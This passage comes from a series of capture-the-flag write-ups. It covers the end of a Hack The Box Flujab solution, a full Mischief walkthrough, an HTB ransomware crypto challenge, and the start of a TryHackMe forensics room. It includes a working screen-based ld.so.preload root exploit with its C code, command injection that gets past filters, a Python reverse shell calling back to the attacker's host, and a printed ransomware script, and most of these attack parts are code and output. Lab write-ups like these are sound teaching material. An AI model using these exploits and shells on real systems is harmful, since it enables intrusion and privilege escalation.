    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell
```

The exploit works like this:

> 1. It two files -- **`libhax.c`** and **`rootshell.c`**
> 2. **`libhax.c`** is compiled as a ***shared object*** file (**`libhax.so`**)
> 3. **`rootshell.c`** is compiled as an executable (**`rootshell`**)
> 4. **`libhax.so`** is wriiten to **`/etc/ld.so.preload`**

The **`screen`** binary is used to append to the **`/etc/ld.so.preload`** file which is only writable as **`root`**. ***shared objects*** written in `/etc/ld.so.preload` are loaded before everything else which is even capable of overwriting ***libc*** functions and since **`libhax.so`** gives SUID permissions to the created **`/tmp/rootshell`** executable, a root shell should be spawned upon successful exploit.

Enumerating the system using `sysadm` shell to see how the exploit will be compiled:

```
$ uname -a

  Linux flujab 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux

$ gcc

  bash: gcc: command not found
```

The system runs on a 64-bit architecture and `gcc` is not available in the system.

Instead, create and compile `libhax.c` and `rootshell.c` locally:

**EXPLOIT #1 : libhax.c**

```
$ vim libhax.c
```

```c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
```

```
:wq
```

**EXPLOIT #2 : rootshell.c**

```
$ vim rootshell.c
```

```c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
```

```
:wq
```

**EXPLOIT #3 : COMPILING THE BINARIES**

```
$ gcc -fPIC -shared -ldl -o libhax.so libhax.c

  libhax.c: In function ‘dropshell’:
  libhax.c:7:5: warning: implicit declaration of function ‘chmod’; did you mean ‘chroot’? [-Wimplicit-function-declaration]
       chmod("/tmp/rootshell", 04755);
       ^~~~~
       chroot

$ gcc -o rootshell rootshell.c

  rootshell.c: In function ‘main’:
  rootshell.c:3:5: warning: implicit declaration of function ‘setuid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
       setuid(0);
       ^~~~~~
       setbuf
  rootshell.c:4:5: warning: implicit declaration of function ‘setgid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
       setgid(0);
       ^~~~~~
       setbuf
  rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
       seteuid(0);
       ^~~~~~~
       setbuf
  rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
       setegid(0);
       ^~~~~~~
  rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
       execvp("/bin/sh", NULL, NULL);
       ^~~~~~
```

1. Upload the binaries using a python **`SimpleHTTPServer`** to the `sysadm` shell then execute the exploit:

   ```
   $ cd /tmp

   $ wget http://10.10.15.10:8000/libhax.so

     libhax.so           100%[===================>]  15.76K  62.6KB/s    in 0.3s

   $ wget http://10.10.15.10:8000/rootshell

     rootshell           100%[===================>]  16.43K  52.1KB/s    in 0.3s
   ```

   **EXPLOIT #4 : EXECUTING THE EXPLOIT**

   ```
   $ chmod +x /tmp/rootshell

   $ cd /etc

   $ umask 000

   $ /usr/local/share/screen/screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"

   $ /usr/local/share/screen/screen -ls

     No Sockets found in /tmp/screens/S-sysadm.

   $ /tmp/rootshell

   # id

     uid=0(root) gid=0(root) groups=0(root),1007(sysadm)

   # cat /root/root.txt

     7081........................ee33

   # find /home -name user.txt -exec cat {} +

     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     c519........................62d4
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P           
     This is A Nope !!! :P
   ```


# HTB Mischief

10.10.10.92 | 50 pts | Tricked Badge

## PART 1 : INITIAL RECON

```
$ nmap --min-rate 1000 -p- -sT -sU -v 10.10.10.92

  22/tcp   open  ssh
  3366/tcp open  creativepartnr
  161/udp  open  snmp

$ nmap -oN mischief -p 22,161,3366 -sC -sT -sU -sV -v 10.10.10.92

  22/tcp   open          ssh            OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey:
  |   2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
  |   256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
  |_  256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
  3366/tcp open          caldav         Radicale calendar and contacts server (Python BaseHTTPServer)
  | http-auth:
  | HTTP/1.0 401 Unauthorizedx0D
  |_  Basic realm=Test
  | http-methods:
  |_  Supported Methods: GET HEAD
  |_http-server-header: SimpleHTTP/0.6 Python/2.7.15rc1
  |_http-title: Site doesn't have a title (text/html).
  161/udp  open          snmp           SNMPv1 server; net-snmp SNMPv3 server (public)
  | snmp-info:
  |   enterprise: net-snmp
  |   engineIDFormat: unknown
  |   engineIDData: b6a9f84e18fef95a00000000
  |   snmpEngineBoots: 19
  |_  snmpEngineTime: 59m39s
  | snmp-interfaces:
  |   lo
  |     IP address: 127.0.0.1  Netmask: 255.0.0.0
  |     Type: softwareLoopback  Speed: 10 Mbps
  |     Status: up
  |     Traffic stats: 0.67 Kb sent, 0.67 Kb received
  |   Intel Corporation 82545EM Gigabit Ethernet Controller (Copper)
  |     IP address: 10.10.10.92  Netmask: 255.255.255.0
  |     MAC address: 00:50:56:b9:2c:07 (VMware)
  |     Type: ethernetCsmacd  Speed: 1 Gbps
  |     Status: up
  |_    Traffic stats: 618.08 Kb sent, 23.39 Mb received
  | snmp-netstat:
  |   TCP  0.0.0.0:22           0.0.0.0:0
  |   TCP  0.0.0.0:3366         0.0.0.0:0
  |   TCP  10.10.10.92:22       10.10.14.213:32850
  |   TCP  10.10.10.92:22       10.10.14.213:32864
  |   TCP  10.10.10.92:22       10.10.15.54:40920
  |   TCP  10.10.10.92:22       10.10.16.63:40704
  |   TCP  10.10.10.92:3366     10.10.14.213:47812
  |   TCP  10.10.10.92:3366     10.10.14.213:47814
  |   TCP  10.10.10.92:3366     10.10.14.213:47816
  |   TCP  10.10.10.92:3366     10.10.14.213:47818
  |   TCP  10.10.10.92:3366     10.10.14.213:47820
  |   TCP  127.0.0.1:3306       0.0.0.0:0
  |   TCP  127.0.0.53:53        0.0.0.0:0
  |   UDP  0.0.0.0:161          *:*
  |   UDP  0.0.0.0:34424        *:*
  |_  UDP  127.0.0.53:53        *:*
  | snmp-sysdescr: Linux Mischief 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64
  |_  System uptime: 59m39.09s (357909 timeticks)
  |_snmp-win32-software:
  Service Info: Host: Mischief; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

**NOTE(S)**:

* An SNMP service is running at **UDP PORT 161**.
* The web service running on **TCP PORT 3366** is served using a **Python BaseHTTPServer**.

## PART 2 : PORT ENUMERATION

### UDP PORT 161 (snmp)

```
$ snmpwalk -c public 10.10.10.92 -v 2c

  iso.3.6.1.2.1.1.1.0 = STRING: "Linux Mischief 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64"
  iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
  iso.3.6.1.2.1.1.3.0 = Timeticks: (4642890) 12:53:48.90
  iso.3.6.1.2.1.1.4.0 = STRING: "Me "
  iso.3.6.1.2.1.1.5.0 = STRING: "Mischief"
  iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
  ...omitted...
```

Processes (**`hrSWRunEntry`**):

```
  iso.3.6.1.2.1.25.4.2.1.4.608 = STRING: "python"
  ...omitted...
  iso.3.6.1.2.1.25.4.2.1.5.608 = STRING: "-m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/"
  ...omitted...
```

* The process for the hosted webservice is found.
* HTTP Authentication credentials are found - **`loki : godofmischiefisloki`**
* The web service is hosted from **`/home/loki/hosted`**
* IPv6 Addresses (**`ipAddressIfIndex`**):

  ```
  $ snmpwalk -c public -v 2c 10.10.10.92 iso.3.6.1.2.1.4.34.1.3.2.16

    iso.3.6.1.2.1.4.34.1.3.2.16.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1 = INTEGER: 1
    iso.3.6.1.2.1.4.34.1.3.2.16.222.173.190.239.0.0.0.0.2.80.86.255.254.185.245.54 = INTEGER: 2
    iso.3.6.1.2.1.4.34.1.3.2.16.254.128.0.0.0.0.0.0.2.80.86.255.254.185.245.54 = INTEGER: 2
  ```

  * The 1st one is the **Loopback Address**.
  * The 2ns one is the **Unique-Local Address**.
  * The 3rd one is the **Link Local Address**.

Evaluate the **`IPv6`** address of the system:

```bash
unique_local_oid=$(snmpwalk -c public -v 2c 10.10.10.92 iso.3.6.1.2.1.4.34.1.3.2.16.222 | sed -ne 's/^.*\(222.*\) =.*$/\1/p')

unique_local_dec=$(echo $unique_local_oid | tr '.' ' ')

unique_local_hex=$(printf '%02x' $unique_local_dec)

ipv6=$(echo -n $unique_local_hex | fold -w4 | tr '\n' ':')
```

```
$ echo $ipv6

  dead:beef:0000:0000:0250:56ff:fea4:29f2
```

See if there are other ports open for **IPv6**:

```
$ nmap -6 --min-rate 1000 -p- -v dead:beef:0000:0000:0250:56ff:fea4:29f2

  22/tcp   open     ssh
  80/tcp   open     http

$ nmap -6 -p22,80 -sC -sV -v $ipv6

  22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey:
  |   2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
  |   256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
  |_  256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
  80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
  |_http-server-header: Apache/2.4.29 (Ubuntu)
  |_http-title: 400 Bad Request
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

* There is another **http service** open using **IPv6**.

### TCP PORT 3366 (http, IPv4)

**`http://10.10.10.136`**:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MjZZmhSMtUr0Vb6dVMt%2F-MjZ_csLCFwQj_RKf5U7%2Fimage.png?alt=media\&token=3d0354b0-6a18-42b4-8ce3-b30e0e761a51)

Using the credentials found during the SNMP enumeration -- **`loki:godofmischiefisloki`**

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MjZZmhSMtUr0Vb6dVMt%2F-MjZ_y7CoMEG41puPWo8%2Fimage.png?alt=media\&token=319ef01c-79e5-413e-ae8c-d73fb9d61147)

Two sets of credentials are found:

| Username | Password            |
| -------- | ------------------- |
| loki     | godofmischiefisloki |
| loki     | trickeryanddeceit   |

### TCP PORT 80 (http, IPv6)

**`http://[dead:beef:0000:0000:0250:56ff:fea4:29f2]/`**

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MjZZmhSMtUr0Vb6dVMt%2F-MjZa69O83dzO4LImS3_%2Fimage.png?alt=media\&token=6ae0fef1-f803-419c-96c8-91730577976e)

Attempting to log in using the credentials found on **PORT 3366**:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MjZZmhSMtUr0Vb6dVMt%2F-MjZaEEn5E4zUAhBsW9x%2Fimage.png?alt=media\&token=7c174c08-16e7-4b88-8e9a-c659a8999864)

The credential pair, **`administrator : trickeryanddeceit`**, worked and so far, only the **`ping`** command could be executed. There is also a message written below.

```
In my home directory, i have my password in a file called credentials, Mr Admin
```

## PART 3 : EXPLOITATION

Bypass the command execution in the service running on **port 80**:

```
$ ping -c 2 127.0.0.1; id

  PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
  64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.020 ms
  64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.061 ms

  --- 127.0.0.1 ping statistics ---
  2 packets transmitted, 2 received, 0% packet loss, time 1028ms
  rtt min/avg/max/mdev = 0.020/0.040/0.061/0.021 ms
  Command was executed succesfully!

$ id; ping -c 2 127.0.0.1

  uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Command was executed succesfully!
```

The command execution could be bypassed by using a **`;`**.

## PART 4 : GENERATE USER SHELL

Take the file called **`credentials`** from the **`home directory`**:

```
$ echo /home/*; ping -c 2 127.0.0.1

  /home/loki
  Command was executed succesfully!

$ echo /home/loki/*; ping -c 2 127.0.0.1

  /home/loki/credentials /home/loki/hosted /home/loki/user.txt
  Command was executed succesfully!

$ cat /home/loki/credentials; ping -c 2 127.0.0.1

  Command is not allowed.

$ cat /home/loki/cred*; ping -c 2 127.0.0.1

  pass: lokiisthebestnorsegod
  Command was executed succesfully!
```

The word, **`credentials`**, is being filtered out by the service but it was bypassed by using a **wildcard**.

Logging in via **`ssh`**:

```
$ ssh -l loki 10.10.10.92
  The authenticity of host '10.10.10.92 (10.10.10.92)' can't be established.
  ECDSA key fingerprint is SHA256:deaxXTK7ORthfGcKdblPRUmgNrU20oclqMbwVj3hzYI.
  Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
  Warning: Permanently added '10.10.10.92' (ECDSA) to the list of known hosts.
$ loki@10.10.10.92's password: lokiisthebestnorsegod

$ cat user.txt

  bf58........................0060
```

## PART 5.1 : PRIVILEGE ESCALATION (loki -> root)

Check for interesting files in **`loki`**'s home directory:

```
$ ls -lah ~

  -rw------- 1 loki loki  192 Jul 14  2018 .bash_history
  ...omitted...
  -rw-rw-r-- 1 loki loki   28 May 17  2018 credentials
  ...omitted...
  -rw-r--r-- 1 loki loki    0 May 14  2018 .sudo_as_admin_successful
  -r-------- 1 loki loki   33 May 17  2018 user.txt
  ...omitted...

$ cat .bash_history

  python -m SimpleHTTPAuthServer loki:lokipasswordmischieftrickery
  ...omitted...
  sudo su
  su
  exit
  su root
  ...omitted...
  exit
```

There was an attempt to execute **`su root`** in the **`.bash_history`**. There is also a **`.sudo_as_admin_successful`** which might mean the attempt was successful.

A previously unknown credential pair was used to initialize the python **`simpleHTTPAuthServer`** and this might be a lead for the **root password**.

Attempting to execute **`su root`**:

```
$ su root

  -bash: /bin/su: Permission denied
```

Checking privileges for the **`su`** command:

```
$ getfacl -R -s / 2>/dev/null | grep -A 9 su

  # file: usr/bin/sudo
  # owner: root
  # group: root
  # flags: s--
  user::rwx
  user:loki:r--
  group::r-x
  mask::r-x
  other::r-x

  # file: bin/su
  # owner: root
  # group: root
  # flags: s--
  user::rwx
  user:loki:r--
  group::r-x
  mask::r-x
  other::r-x
```

The user, **`loki`**, only has read (**`r--`**) permissions for both **`su`** and **`sudo`**. Good thing we still have access to another user -- **`www-data`**

## PART 5.2 : PRIVILEGE ESCALATION (www-data -> root)

Set-up a listener for IPv6:

```
$ socat TCP6-LISTEN:4444 stdout
```

Execute an IPv6 reverse shell on the web service running on **port 80**:

```
$ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::100e",4444,0,0));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'; ping -c 2 127.0.0.1
```

While inside the **reverse shell**:

```
$ id 

  uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ su
$ Password: lokipasswordmischieftrickery

$ id

  uid=0(root) gid=0(root) groups=0(root)

$ cat /root/root.txt

  The flag is not here, get a shell to find it!

$ find / -name root.txt -type f -uid 0

  /usr/lib/gcc/x86_64-linux-gnu/7/root.txt
  /root/root.txt

$ cat /usr/lib/gcc/x86_64-linux-gnu/7/root.txt

  ae15........................7807
```


# Challenge Writeups


# HTB CTF Writeups


# CRY - PRaNsomG

HTB Business CTF 2023

## CONTEXT

### 1. Challenge Description

> Following the mole's dismissal, the nation suffered from an onslaught of relentless phishing campaigns. With little time to spare during this chaotic and tense period, warnings and safeguards for staff members were inadequate. A few individuals fell victim to the phishing attempts, leading to the encryption of sensitive documents by ransomware. You were assigned the mission of reverse engineering the ransomware and ultimately recovering the classified files, restoring order and safeguarding the nation's sensitive information.

### 2. Encrypted Files

There were 32 encrypted by `ransomware.py`:

```bash
$ stat --printf "%s\t%n\n" ./enc_files/*

  328	./enc_files/1_Marketing_Campaign_Report.enc
  328	./enc_files/2_Customer_Survey_Results.enc
  344	./enc_files/3_Marketing_Strategy.enc
  312	./enc_files/4_Sales_Forecast.enc
  360	./enc_files/5_Market_Research_Summary.enc
  344	./enc_files/6_Business_Growth_Strategy.enc
  312	./enc_files/7_Financial_Projections.enc
  312	./enc_files/8_Risk_Management_Plan.enc
  344	./enc_files/9_Business_Process_Improvement_Report.enc
  328	./enc_files/10_Business_Continuity_Plan.enc
  360	./enc_files/11_Employee_Performance_Review.enc
  344	./enc_files/12_Business_Plan.enc
  360	./enc_files/13_Profit_and_Loss_Statement.enc
  296	./enc_files/14_Expense_Tracker.enc
  312	./enc_files/15_Investment_Presentation.enc
  328	./enc_files/16_Business_Registration_Form.enc
  328	./enc_files/17_Budget_Spreadsheet.enc
  344	./enc_files/18_SWOT_Analysis.enc
  328	./enc_files/19_Employee_Handbook.enc
  328	./enc_files/20_Product_Catalog.enc
  312	./enc_files/21_Meeting_Minutes.enc
  360	./enc_files/22_Product_Demo_Video.enc
  136	./enc_files/23_Annual_Report.enc
  344	./enc_files/24_Training_Manual.enc
  328	./enc_files/25_Market_Analysis.enc
  360	./enc_files/26_Vendor_Contract.enc
  328	./enc_files/27_Financial_Statement.enc
  328	./enc_files/28_Corporate_Social_Responsibility_Policy.enc
  328	./enc_files/29_Competitive_Analysis.enc
  328	./enc_files/30_Sales_Report.enc
  328	./enc_files/31_Partnership_Agreement.enc
  328	./enc_files/32_Project_Proposal.enc
```

### 3. Ransomware

The python script to encrypt the files:

```python
from Crypto.Util.number import long_to_bytes as l2b
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from random import getrandbits
import os, sys

class Encryptor:

    def __init__(self):
        self.out_dir = 'enc_files'
        self.counter = 0
        self.otp = os.urandom(2)
        self.initialize()

    def initialize(self):
        os.makedirs(f'./{self.out_dir}', exist_ok=True)

        self.secrets = []

        for _ in range(32):
            self.secrets.append(getrandbits(576))

        self.key = l2b(getrandbits(1680))[:16]
        self.iv = l2b(getrandbits(1680))[:16]

        self.cipher = AES.new(self.key, AES.MODE_CBC, self.iv)

    def _xor(self, a, b):
        return b''.join([bytes([a[i] ^ b[i % len(b)]]) for i in range(len(a))])

    def encrypt(self, target):
        for fname in os.listdir(target):
            with open(f'{target}/{fname}') as f:
                contents = f.read().rstrip().encode()

            enc_fname = f"{str(self.counter + 1)}_{fname.split('.')[0]}.enc"

            enc = self.cipher.encrypt(pad(contents, 16))
            enc += self._xor(l2b(self.secrets[self.counter]), self.otp)

            self.write(enc_fname, enc)
            self.counter += 1

    def write(self, filepath, data):
        with open(f'{self.out_dir}/{filepath}', 'wb') as f:
            f.write(data)

def main():
    encryptor = Encryptor()
    encryptor.encrypt(sys.argv[1])

if __name__ == "__main__":
    main()
```

## PROGRAM FLOW

### 1. Initializations

A new directory, `enc_files`, is created where encrypted files will be saved. Also, a 2-byte OTP is initialized using `os.urandom(2)`:

```python
def __init__(self):
    self.out_dir = 'enc_files'
    self.counter = 0
    self.otp = os.urandom(2)
    self.initialize()
```

Then as part of `initialize()` function, thirty-two 576-bit integers are initialized as `secrets` using `random.getrandbits()`:

```python
self.secrets = []

for _ in range(32):
    self.secrets.append(getrandbits(576))
```

Afterwhich, using the same `random.getrandbits()` function, the `key` and `iv` were generated as 1680-bit integers then converted from *long* integer to a *byte* array. The `key` and `iv` were then used to initialize encryption via **AES-CBC**:

```python
self.key = l2b(getrandbits(1680))[:16]
self.iv = l2b(getrandbits(1680))[:16]

self.cipher = AES.new(self.key, AES.MODE_CBC, self.iv)
```

### 2. Encryption

Each of the files were encrypted iteratively through `counter`. And using one of the 32 secrets generated (taken via `counter` as an index), additional data is appended to the encrypted file:

```python
enc = self.cipher.encrypt(pad(contents, 16))
enc += self._xor(l2b(self.secrets[self.counter]), self.otp)
```

The additional data is just the secret used with each byte XORed to either of the two bytes of the OTP. The OTP byte used for the operation is determined whether the current byte of secrets has an even or odd index:

```python
def _xor(self, a, b):
    return b''.join([bytes([a[i] ^ b[i % len(b)]]) for i in range(len(a))])
```

It is important to note that the length of OTP is 2 bytes and the length of a secret will always be 72 bytes so the contents of the encrypted file will always be like this:

```
<AES ENCRYPTED DATA> + <72-bytes of secret^otp>
```

The encrypted file will then be saved as:

```
<counter+1>_<filename without extension>.enc
```

## DECRYPTION

### 1. Mersenne Twister

The Python `random` library uses **Mersenne Twister** for its Pseudorandom Number Generator (PRNG). It is, for the most part, statistically random and has a very long period of `(2^19937) - 1`; however, it was determined to be not cryptographically secure. The main reason for this is that when it is initialized, its initial state consists of 624 32-bit integers which when all bits are used up, it's *twisted* to create a new state of 624 32-bit integers.&#x20;

This can be abused when a certain number of integers or bits has been observed from the PRNG and the initial state can be derived. Once the initial state has been recovered, future generations could be predicted. Without going through the trouble of describing the math, this particular Python library was used -- [RandCrack](https://github.com/tna0y/Python-random-module-cracker/).

In the case of this challenge, a fresh state is used to generate 32 576-bit integers. This could also be translated as having 576 32-bit integers already taken from the initial state. The number of values already available seems to already be significant; however, making use of the library mentioned earlier requires 624 32-bit integers so the beginning was just padded with 0s and see if it will work:

```python
def getMTState(self):
    for y in range(48): self.rc.submit(0)      # 0 padding to compensate for the initial state
    for y in range(32):                        # Iterating through each secret
        x = self.secrets[y]                     
        while x > 0:                           # Until all the bits of the secret has been passed
            self.rc.submit(x % (1 << 32))      # Passing 32 bits of the current secret
            x = x >> 32                        # Removing the 32 bits passed
```

The next values taken from the PRNG were the `key` and `iv` meaning that it should be predictable once the initial state has been recovered. And if the prediction will work as expected, the following should initialize AES-CBC with the correct `key` and `iv`:

```python
def initializeAES(self): 
    self.key = l2b(self.rc.predict_getrandbits(1680))[:16]
    self.iv = l2b(self.rc.predict_getrandbits(1680))[:16]
        
    self.cipher = AES.new(self.key, AES.MODE_CBC, self.iv)
```

### 2. Secrets

Given that the OTP is known, it is possible to derive the secrets from the appended data in each encrypted file. The function just needs to be reversed since the XOR operation is associative meaning:

```
enc_data = secret   ^ OTP
secret   = enc_data ^ OTP
```

With that in mind, after extracting the last 72-bytes from each encrypted file, it could just be used to replace `secret` in the `_xor()` function from `ransomware.py`:

```python
def getSecrets(self, enc):
    for enc_data in enc:
        data = b"".join([bytes([enc_data[i] ^ self.otp[i % len(self.otp)]]) for i in range(len(enc_data))])
        secret = int(data.hex(), 16)
        self.secrets.append(secret)

directory = "./enc_files"

enc = list()
for i in fl:
    with open("%s/%s" %(directory,i), 'rb') as enc_file:
        enc.append(enc_file.read()[-72:])
        
attempt.getSecrets(enc)
```

### 3. File Sorting

This is just an extra tidbit. Since the AES cipher was only initialized once in `ransomware.py`, it is impossible to decrypt the files one by one but instead should be done in order of encryption.

When reading files from a directory using `os.listdir()`, files are sorted as a string instead of the prefix of each file which is an integer so in order to work around this, this method was used:

```python
from Crypto.Util.number import long_to_bytes as l2b
directory = "./enc_files"

fl = list()                                    # List initialization for all encrypted files
for i in os.listdir(directory):                 
    fl.append(i)
fl.sort(key=lambda x: int(x.split("_")[0]))    # Sort the list based on the integer prefix
```

### 4. OTP Bruteforce

Now that everything is set, the last thing that needs to be figured out is the OTP. There is no sure way (that I know of) to find out definitely what it is besides bruteforcing. Since it only consists of 2 bytes meaning there are only **2^16** (65536) possible values for the OTP.

For every value of OTP there is, a new set of secrets will be derived which will then be used to identify the initial state of the PRNG as well as initialize AES-CBC for decryption:

```python
for x in range(0, 16**4):
    otp = bytes.fromhex(format(x, "04x"))
    attempt = Decryptor(otp)
    
    attempt.getSecrets(enc)
    attempt.getMTState()
    attempt.initializeAES()
```

## SOLUTION

### 1. Python Script

```python
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes as l2b
from randcrack import RandCrack                # https://github.com/tna0y/Python-random-module-cracker
import random
import os

class Decryptor:
    def __init__(self, otp):
        self.key = None
        self.iv = None
        
        self.otp = otp
        self.secrets = list()
        self.rc = RandCrack()

    def getSecrets(self, enc):
        for enc_data in enc:
            data = b"".join([bytes([enc_data[i] ^ self.otp[i % len(self.otp)]]) for i in range(len(enc_data))])
            secret = int(data.hex(), 16)
            self.secrets.append(secret)

    def getMTState(self):
        for y in range(48): self.rc.submit(0)
        ctr = 0
        for y in range(32):
            x = self.secrets[y]
            while x > 0:
                self.rc.submit(x % (1 << 32))
                ctr += 1
                x = x >> 32
                
    def initializeAES(self): 
        self.key = l2b(self.rc.predict_getrandbits(1680))[:16]
        self.iv = l2b(self.rc.predict_getrandbits(1680))[:16]
        
        self.cipher = AES.new(self.key, AES.MODE_CBC, self.iv)
        
    def decrypt(self, ct):
        pt = self.cipher.decrypt(ct)
        cipher = 0

        garbage = -ord(pt[-1:])
        return pt[:garbage]

def main():    
    directory = "./enc_files"

    fl = list()
    for i in os.listdir(directory):
        fl.append(i)
    fl.sort(key=lambda x: int(x.split("_")[0]))

    enc = list()
    for i in fl:
        with open("%s/%s" %(directory,i), 'rb') as enc_file:
            enc.append(enc_file.read()[-72:])

    for x in range(0, 16**4):
        otp = bytes.fromhex(format(x, "04x"))
        #otp = b'i\xc0'                        # Actual OTP
        attempt = Decryptor(otp)
    
        attempt.getSecrets(enc)
        attempt.getMTState()
        attempt.initializeAES()

        for y in fl:
            with open("%s/%s" % (directory,y), 'rb') as enc_file:
                ct = enc_file.read()[:-72]
                pt = attempt.decrypt(ct)
                if b"HTB{" in pt: 
                    print(pt.decode())
                    exit()
            
if __name__ == "__main__": main()
```

### 2. Flag

```bash
$ python3 decrypt.py

  HTB{v1t4l1um_h3r3_w3_c0m3___n0_r4ns0mw4r3_c4n_st0p_us}
```


# TryHackMe


# Boogeyman 3

The Boogeyman emerges from the darkness again.

## CONTEXT

Challenge Link: [TryHackMe - Boogeyman 3](https://tryhackme.com/room/boogeyman3)

### I. Background

> Without tripping any security defences of Quick Logistics LLC, the Boogeyman was able to compromise one of the employees and stayed in the dark, waiting for the right moment to continue the attack. Using this initial email access, the threat actors attempted to expand the impact by targeting the CEO, Evan Hutchinson.

#### 1. Incident

> The email appeared questionable, but Evan still opened the attachment despite the scepticism. After opening the attached document and seeing that nothing happened, Evan reported the phishing email to the security team.

<figure><img src="https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mfagag8d4yY8yveDJY3%2Fuploads%2F1frpdPUbQYYtfDZE5BwC%2Fimage.png?alt=media&amp;token=6b8e474b-f69b-47f7-b68f-65555c8167c7" alt=""><figcaption></figcaption></figure>

#### 2. Initial Investigation

> Upon receiving the phishing email report, the security team investigated the workstation of the CEO. During this activity, the team discovered the email attachment in the downloads folder of the victim.

<figure><img src="https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mfagag8d4yY8yveDJY3%2Fuploads%2FyPROQJxUpV7j7RQBsZcN%2Fimage.png?alt=media&amp;token=6c190196-2878-4091-a558-57b6b2923d12" alt=""><figcaption></figcaption></figure>

> In addition, the security team also observed a file inside the ISO payload, as shown in the image below.

<figure><img src="https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mfagag8d4yY8yveDJY3%2Fuploads%2FjeXnabiQIlUYoExzEHwo%2Fimage.png?alt=media&amp;token=15c59964-eafd-43fb-be62-cf8ef2868350" alt=""><figcaption></figcaption></figure>

> Lastly, it was presumed by the security team that **the incident occurred between August 29 and August 30, 2023**.

### II. Artifacts

#### 1. THM AttackBox

There are multiple services running for this room:

```shell-session
$ nmap --min-rate 1000 -p- -v 10.10.138.205

  PORT     STATE SERVICE
  22/tcp   open  ssh
  80/tcp   open  http
